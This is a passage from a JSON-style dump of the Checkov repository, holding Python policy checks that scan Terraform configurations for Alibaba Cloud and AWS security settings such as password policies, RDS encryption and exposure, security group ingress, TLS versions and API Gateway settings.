    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass PasswordPolicyMaxLogin(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Ram Account Password Policy Max Login Attempts not > 5\"\n        id = \"CKV_ALI_23\"\n        supported_resources = ['alicloud_ram_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'max_login_attempts'\n\n    def get_expected_value(self):\n        return 3\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            validates ram password policy\n            https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/ram_account_password_policy\n        :param conf: alicloud_ram_account_password_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        if conf.get('max_login_attempts'):\n            length = force_int(conf.get('max_login_attempts')[0])\n            if length is None:\n                return CheckResult.UNKNOWN\n            if length <= 5:\n                return CheckResult.PASSED\n            self.evaluated_keys = [\"max_login_attempts\"]\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = PasswordPolicyMaxLogin()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyNumber.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PasswordPolicyNumber(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RAM password policy requires at least one number\"\n        id = \"CKV_ALI_14\"\n        supported_resources = ['alicloud_ram_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'require_numbers'\n\n\ncheck = PasswordPolicyNumber()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyReuse.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass PasswordPolicyReuse(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RAM password policy prevents password reuse\"\n        id = \"CKV_ALI_18\"\n        supported_resources = ['alicloud_ram_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'password_reuse_prevention'\n\n    def get_expected_value(self):\n        return 24\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            validates ram password policy\n            https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/ram_account_password_policy\n        :param conf: alicloud_ram_account_password_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n        key = 'password_reuse_prevention'\n        if key in conf.keys():\n            reuse = conf[key][0]\n            if self._is_variable_dependant(reuse):\n                return CheckResult.UNKNOWN\n            reuse = force_int(reuse)\n            if not (reuse and reuse < 24):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = PasswordPolicyReuse()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RAMPasswordPolicySymbol.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PasswordPolicySymbol(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RAM password policy requires at least one symbol\"\n        id = \"CKV_ALI_15\"\n        supported_resources = ['alicloud_ram_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'require_symbols'\n\n\ncheck = PasswordPolicySymbol()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyUppcaseLetter.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PasswordPolicyUppcaseLetter(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RAM password policy requires at least one uppercase letter\"\n        id = \"CKV_ALI_19\"\n        supported_resources = ['alicloud_ram_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'require_uppercase_characters'\n\n\ncheck = PasswordPolicyUppcaseLetter()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RAMSecurityEnforceMFA.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RAMSecurityEnforceMFA(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure RAM enforces MFA\"\n        id = \"CKV_ALI_24\"\n        supported_resources = (\"alicloud_ram_security_preference\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.FAILED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"enforce_mfa_for_login\"\n\n\ncheck = RAMSecurityEnforceMFA()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RDSInstanceAutoUpgrade.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass RDSInstanceAutoUpgrade(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure RDS instance auto upgrades for minor versions\"\n        id = \"CKV_ALI_30\"\n        supported_resources = (\"alicloud_db_instance\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"auto_upgrade_minor_version\"\n\n    def get_expected_value(self) -> Any:\n        return \"Auto\"\n\n\ncheck = RDSInstanceAutoUpgrade()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RDSInstanceLogConnections.py",
    "content": "from checkov.terraform.checks.resource.alicloud.AbsRDSParameter import AbsRDSParameter\n\n\nclass RDSInstanceLogConnections(AbsRDSParameter):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_ALI_37\", parameter=\"log_connections\")\n\n\ncheck = RDSInstanceLogConnections()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RDSInstanceLogDisconnections.py",
    "content": "from checkov.terraform.checks.resource.alicloud.AbsRDSParameter import AbsRDSParameter\n\n\nclass RDSInstanceLogDisconnections(AbsRDSParameter):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_ALI_36\", parameter=\"log_disconnections\")\n\n\ncheck = RDSInstanceLogDisconnections()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RDSInstanceLogsEnabled.py",
    "content": "from checkov.terraform.checks.resource.alicloud.AbsRDSParameter import AbsRDSParameter\n\n\nclass RDSInstanceLogsEnabled(AbsRDSParameter):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_ALI_35\", parameter=\"log_duration\")\n\n\ncheck = RDSInstanceLogsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RDSInstanceSSL.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import List, Any\n\n\nclass RDSInstanceSSL(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RDS instance uses SSL\"\n        id = \"CKV_ALI_20\"\n        supported_resources = ['alicloud_db_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'ssl_action'\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"Open\", \"Update\"]\n\n\ncheck = RDSInstanceSSL()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RDSIsPublic.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass RDSIsPublic(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure database instance is not public\"\n        id = \"CKV_ALI_9\"\n        supported_resources = ['alicloud_db_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        security_ips = conf.get(\"security_ips\")\n        if security_ips and isinstance(security_ips, list):\n            addresses = security_ips[0]\n            if \"0.0.0.0\" in addresses or \"0.0.0.0/0\" in addresses:  # nosec B104\n                self.evaluated_keys = ['security_ips']\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = RDSIsPublic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RDSRetention.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass RDSRetention(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        'sql_collector_status' should be defined and set to \"Enabled\"  (I know, really, who does that)\n         and 'sql_collector_config_value' should be defined and set to 180 or more\n        \"\"\"\n        name = \"Ensure RDS Instance SQL Collector Retention Period should be greater than 180\"\n        id = \"CKV_ALI_25\"\n        supported_resources = (\"alicloud_db_instance\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        collector_status = conf.get(\"sql_collector_status\")\n        if collector_status and isinstance(collector_status, list):\n            if collector_status[0] != \"Enabled\":\n                self.evaluated_keys = [\"sql_collector_status\"]\n                return CheckResult.FAILED\n            collector_config = conf.get(\"sql_collector_config_value\")\n            if collector_config and isinstance(collector_config, list):\n                self.evaluated_keys = [\"sql_collector_config_value\"]\n                if collector_config[0] >= 180:\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = RDSRetention()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RDSTransparentDataEncryptionEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\nsupported_mysql_engines = [\"5.6\", \"5.7\", \"8\", \"8.0\"]\nsupported_sql_engines = [\"08r2_ent_ha\", \"2012_ent_ha\", \"2016_ent_ha\", \"2017_ent\", \"2019_std_ha\", \"2019_ent\"]\n\n\nclass RDSTransparentDataEncryptionEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        \"\"\"\n        Check valid db engines here: https://www.alibabacloud.com/help/en/apsaradb-for-rds/latest/create-an-instance\n        \"\"\"\n\n        name = \"Ensure Transparent Data Encryption is Enabled on instance\"\n        id = \"CKV_ALI_22\"\n        supported_resources = ['alicloud_db_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get(\"engine\") == [\"MySQL\"] or conf.get(\"engine\") == [\"SQLServer\"]:\n            if conf.get(\"engine_version\") and isinstance(conf.get(\"engine_version\"), list):\n                if conf.get(\"engine_version\")[0] in supported_mysql_engines or \\\n                        conf.get(\"engine_version\")[0] in supported_sql_engines:\n                    if conf.get(\"tde_status\") == [\"Enabled\"]:\n                        return CheckResult.PASSED\n                    self.evaluated_keys = [\"engine_version\"]\n                    return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n    def get_inspected_key(self):\n        return \"tde_status\"\n\n    def get_expected_value(self) -> Any:\n        return \"Enabled\"\n\n\ncheck = RDSTransparentDataEncryptionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress22.py",
    "content": "from checkov.terraform.checks.resource.alicloud.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress22(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_ALI_2\", port=22)\n\n\ncheck = SecurityGroupUnrestrictedIngress22()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress3389.py",
    "content": "from checkov.terraform.checks.resource.alicloud.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress3389(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_ALI_3\", port=3389)\n\n\ncheck = SecurityGroupUnrestrictedIngress3389()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/TLSPoliciesAreSecure.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass TLSPoliciesAreSecure(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Alibaba Cloud Cypher Policy are secure\"\n        id = \"CKV_ALI_33\"\n        supported_resources = ['alicloud_slb_tls_cipher_policy']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'tls_versions'\n\n    def get_forbidden_values(self):\n        return [\"TLSv1.1\", \"TLSv1.0\"]\n\n\ncheck = TLSPoliciesAreSecure()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ACMCertCreateBeforeDestroy.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ACMCertCreateBeforeDestroy(BaseResourceValueCheck):\n\n    def __init__(self):\n        \"\"\"\n        It is recommended to enable the resource lifecycle configuration block create_before_destroy\n        argument in this resource configuration to manage all requests that use this cert, avoiding an outage.\n        \"\"\"\n        name = \"Ensure Create before destroy for ACM certificates\"\n        id = \"CKV_AWS_233\"\n        supported_resources = ['aws_acm_certificate']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"lifecycle/[0]/create_before_destroy\"\n\n\ncheck = ACMCertCreateBeforeDestroy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ACMCertSetLoggingPreference.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom typing import Any\n\n\nclass ACMCertSetLoggingPreference(BaseResourceValueCheck):\n\n    def __init__(self):\n        \"\"\"\n        To guard against SSL/TLS certificates that are issued by mistake or by a compromised CA,\n        some browsers require that public certificates issued for your domain be recorded in a certificate\n        transparency log.\n         The domain name is recorded. The private key is not.\n         Certificates that are not logged typically generate an error in the browser\n        \"\"\"\n        name = \"Verify logging preference for ACM certificates\"\n        id = \"CKV_AWS_234\"\n        supported_resources = ['aws_acm_certificate']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"options/[0]/certificate_transparency_logging_preference\"\n\n    def get_expected_value(self) -> Any:\n        return \"ENABLED\"\n\n\ncheck = ACMCertSetLoggingPreference()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ALBDesyncMode.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ALBDesyncMode(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-4(21), NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2\n        Classic Load Balancer and ALB should be configured with defensive or strictest desync mitigation mode\n        \"\"\"\n        name = \"Ensure that ALB is configured with defensive or strictest desync mitigation mode\"\n        id = \"CKV_AWS_328\"\n        supported_resources = [\"aws_lb\", \"aws_alb\", \"aws_elb\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"desync_mitigation_mode\"\n\n    def get_forbidden_values(self):\n        return \"monitor\"\n\n\ncheck = ALBDesyncMode()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ALBDropHttpHeaders.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass ALBDropHttpHeaders(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that ALB drops HTTP headers\"\n        id = \"CKV_AWS_131\"\n        supported_resources = [\"aws_lb\", \"aws_alb\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"load_balancer_type\") in ([\"gateway\"], [\"network\"]):\n            return CheckResult.UNKNOWN\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return \"drop_invalid_header_fields\"\n\n\ncheck = ALBDropHttpHeaders()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ALBListenerHTTPS.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ALBListenerHTTPS(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure ALB protocol is HTTPS\"\n        id = \"CKV_AWS_2\"\n        supported_resources = ['aws_lb_listener', 'aws_alb_listener']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            validates kms rotation\n            https://www.terraform.io/docs/providers/aws/r/lb_listener.html\n        :param conf: aws_kms_key configuration\n        :return: <CheckResult>\n        \"\"\"\n        self.evaluated_keys = ['protocol']\n        key = 'protocol'\n        if key in conf.keys():\n            protocol = conf.get(key, [None])[0]\n            if BaseResourceCheck._is_variable_dependant(protocol):\n                return CheckResult.UNKNOWN\n            if protocol in (\"HTTPS\", \"TLS\", \"TCP\", \"UDP\", \"TCP_UDP\"):\n                return CheckResult.PASSED\n            elif protocol == \"HTTP\":\n                if 'default_action' in conf.keys():\n                    default_action = conf['default_action'][0]\n                    action_type = default_action['type']\n                    if action_type == ['redirect'] and 'redirect' in default_action:\n                        protocol = default_action['redirect'][0].get('protocol')\n                        if protocol == ['HTTPS']:\n                            self.evaluated_keys = ['default_action/[0]/redirect/[0]/protocol']\n                            return CheckResult.PASSED\n                        elif protocol is None:\n                            return CheckResult.UNKNOWN\n        return CheckResult.FAILED\n\n\ncheck = ALBListenerHTTPS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AMICopyIsEncrypted.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AMICopyIsEncrypted(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that copied AMIs are encrypted\"\n        id = \"CKV_AWS_235\"\n        supported_resources = ['aws_ami_copy']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"encrypted\"\n\n\ncheck = AMICopyIsEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AMICopyUsesCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass AMICopyUsesCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure AMI copying uses a CMK\"\n        id = \"CKV_AWS_236\"\n        supported_resources = ['aws_ami_copy']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AMICopyUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AMIEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AMIEncryptionWithCMK(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure AMIs are encrypted using KMS CMKs\"\n        id = \"CKV_AWS_204\"\n        supported_resources = ['aws_ami']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get('ebs_block_device'):\n            mappings = conf.get('ebs_block_device')\n            self.evaluated_keys = [\"ebs_block_device\"]\n            for mapping_idx, mapping in enumerate(mappings):\n                if not mapping.get(\"snapshot_id\"):\n                    if not mapping.get(\"encrypted\"):\n                        return CheckResult.FAILED\n                    if mapping.get(\"encrypted\")[0] is False:\n                        self.evaluated_keys.append(f\"ebs_block_device/[{mapping_idx}]/encrypted\")\n                        return CheckResult.FAILED\n        # pass thru\n        return CheckResult.PASSED\n\n\ncheck = AMIEncryptionWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AMILaunchIsShared.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AMILaunchIsShared(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure to Limit AMI launch Permissions\"\n        id = \"CKV_AWS_205\"\n        supported_resources = ['aws_ami_launch_permission']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        return CheckResult.FAILED\n\n\ncheck = AMILaunchIsShared()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayAccessLogging.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass APIGatewayAccessLogging(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure API Gateway has Access Logging enabled\"\n        id = \"CKV_AWS_76\"\n        supported_resources = ['aws_api_gateway_stage', 'aws_apigatewayv2_stage']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"access_log_settings/[0]/destination_arn\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = APIGatewayAccessLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayAuthorization.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass APIGatewayAuthorization(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure there is no open access to back-end resources through API\"\n        id = \"CKV_AWS_59\"\n        supported_resources = ['aws_api_gateway_method']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'http_method' in conf and conf['http_method'][0] != \"OPTIONS\" and ('authorization' not in conf or conf['authorization'][0] == \"NONE\") \\\n                and ('api_key_required' not in conf or conf['api_key_required'][0] is False):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['http_method', 'authorization', 'api_key_required']\n\n\ncheck = APIGatewayAuthorization()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayCacheEnable.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass APIGatewayCacheEnable(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure API Gateway caching is enabled\"\n        id = \"CKV_AWS_120\"\n        supported_resources = ['aws_api_gateway_stage']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"cache_cluster_enabled\"\n\n\ncheck = APIGatewayCacheEnable()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayCreateBeforeDestroy.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass APIGatewayCreateBeforeDestroy(BaseResourceValueCheck):\n\n    def __init__(self):\n        \"\"\"\n        It is recommended to enable the resource lifecycle configuration block create_before_destroy\n        argument in this resource configuration to manage all requests that use this API, avoiding an outage.\n        \"\"\"\n        name = \"Ensure Create before destroy for API Gateway\"\n        id = \"CKV_AWS_237\"\n        supported_resources = ['aws_api_gateway_rest_api']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"lifecycle/[0]/create_before_destroy\"\n\n\ncheck = APIGatewayCreateBeforeDestroy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayDeploymentCreateBeforeDestroy.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass APIGatewayDeploymentCreateBeforeDestroy(BaseResourceValueCheck):\n\n    def __init__(self):\n        \"\"\"\n        It is recommended to enable the resource lifecycle configuration block create_before_destroy\n        argument in this resource configuration to properly order redeployments in Terraform.\n        Without enabling create_before_destroy, API Gateway can return errors such as BadRequestException:\n        Active stages pointing to this deployment must be moved or deleted on recreation.\n        \"\"\"\n        name = \"Ensure Create before destroy for API deployments\"\n        id = \"CKV_AWS_217\"\n        supported_resources = ['aws_api_gateway_deployment']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"lifecycle/[0]/create_before_destroy\"\n\n\ncheck = APIGatewayDeploymentCreateBeforeDestroy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayDomainNameTLS.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any, List\n\n\nclass APIGatewayDomainNameTLS(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure API Gateway Domain uses a modern security Policy\"\n        id = \"CKV_AWS_206\"\n        supported_resources = [\"aws_api_gateway_domain_name\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"security_policy\"\n\n    def get_expected_values(self) -> List[Any]:\n        # https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-security-policies-list.html\n        return [\n            \"TLS_1_2\",\n            \"SecurityPolicy_TLS12_2018_EDGE\",\n            \"SecurityPolicy_TLS12_PFS_2025_EDGE\",\n            \"SecurityPolicy_TLS13_1_2_2021_06\",\n            \"SecurityPolicy_TLS13_1_2_PFS_PQ_2025_09\",\n            \"SecurityPolicy_TLS13_1_2_PQ_2025_09\",\n            \"SecurityPolicy_TLS13_1_3_2025_09\",\n            \"SecurityPolicy_TLS13_1_3_FIPS_2025_09\",\n            \"SecurityPolicy_TLS13_2025_EDGE\",\n        ]\n\n\ncheck = APIGatewayDomainNameTLS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass APIGatewayMethodSettingCacheEnabled(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure API Gateway method setting caching is enabled\"\n        id = \"CKV_AWS_225\"\n        supported_resources = ['aws_api_gateway_method_settings']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"settings/[0]/caching_enabled\"\n\n\ncheck = APIGatewayMethodSettingCacheEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEncrypted.py",
